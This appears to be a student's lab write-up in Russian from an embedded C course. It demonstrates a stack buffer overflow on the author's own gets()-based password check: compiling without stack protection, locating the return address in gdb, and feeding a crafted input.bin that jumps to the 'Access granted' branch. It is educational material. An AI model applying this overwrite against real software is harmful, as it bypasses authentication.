1. Компилирую файл с ключами gcc -g -fno-stack-protector -no-pie main.c -o test_gdb

2. Захожу в gdb: gdb ./test_gdb

```
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   %rbp
   0x000000000040119b <+5>:     mov    %rsp,%rbp
   0x000000000040119e <+8>:     sub    $0x10,%rsp
   0x00000000004011a2 <+12>:    lea    0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:    mov    %rax,%rdi
   0x00000000004011ac <+22>:    call   0x401070 <puts@plt>
   0x00000000004011b1 <+27>:    call   0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:    mov    %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:    jne    0x4011d8 <main+66>
   0x00000000004011bf <+41>:    lea    0xe4e(%rip),%rax        # 0x402014
   0x00000000004011c6 <+48>:    mov    %rax,%rdi
   0x00000000004011c9 <+51>:    call   0x401070 <puts@plt>
   0x00000000004011ce <+56>:    mov    $0x1,%edi
   0x00000000004011d3 <+61>:    call   0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:    lea    0xe43(%rip),%rax        # 0x402022
   0x00000000004011df <+73>:    mov    %rax,%rdi
   0x00000000004011e2 <+76>:    call   0x401070 <puts@plt>
   0x00000000004011e7 <+81>:    mov    $0x0,%eax
   0x00000000004011ec <+86>:    leave
   0x00000000004011ed <+87>:    ret
```

```
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
`/home/plaguedoctor/Загрузки/Курсы элтекс/CoursesEmbeddedC/5 fifth module/t
e-reading symbols.
Starting program: /home/plaguedoctor/Загрузки/Курсы элтекс/CoursesEmbeddedC
b
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at main.c:9
9           puts("Enter password:");
(gdb) n
Enter password:
10          PwStatus = IsPassOk();
(gdb) s
IsPassOk () at main.c:22
22          gets(Pass);
(gdb) info frame
Stack level 0, frame at 0x7fffffffdbf0:
 rip = 0x4011fa in IsPassOk (main.c:22); saved rip = 0x4011b6
 called by frame at 0x7fffffffdc10
 source language c.
 Arglist at 0x7fffffffdbe0, args:
 Locals at 0x7fffffffdbe0, Previous frame's sp is 0x7fffffffdbf0
 Saved registers:
  rbp at 0x7fffffffdbe0, rip at 0x7fffffffdbe8
```

3. Теперь я зная адрес, перевожу его в little-endian, с помощью консоли создаю бинарный файл следующим образом (12 элементов в списке + 8б для смещения = 20 б для того, чтобы переполнить массив и перезаписать его адресом)

4. Итак, создаю бинарный файл при помощи консоли, зная адрес. Из команды disas main мы видим прыжок на ветвь else 0x00000000004011bd <+39>: jne 0x4011d8 <main+66> (jne в ассемблере переход на отрицательную ветвь. 0X4011d8 перевожу в little-endian - \xD8\x11\x40\x00\x00\x00\x00\x00

```
plaguedoctor@plaguedoctor-MACHCREATOR-E:~/Загрузки/Курсы элтекс/CoursesEmbedde
dC/5 fifth module$ printf "012345678901234567 89\xD8\x11\x40\x00\x00\x00\x00\x00" > input.bin
plaguedoctor@plaguedoctor-MACHCREATOR-E:~/Загрузки/Курсы элтекс/CoursesEmbeddedC/5 fifth module$ x
xd < input.bin
00000000: 3031 3233 3435 3637 3839 3031 3233 3435  0123456789012345
00000010: 3637 3839 d811 4000 0000 0000            6789..@.....
```

5. run < input.bin запускаю с перенаправлением на бинарник

```
(gdb) run < input.bin
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/plaguedoctor/Загрузки/Курсы элтекс/CoursesEmbeddedC/5 fifth module/
test_gdb < input.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter password:
Access granted!
```

```
(gdb) run < input.bin
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/plaguedoctor/Загрузки/Курсы элтекс/CoursesEmbeddedC/5 fifth module/
test_gdb < input.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter password:
Access granted!

Program received signal SIGBUS, Bus error.
main () at main.c:18
18      }
```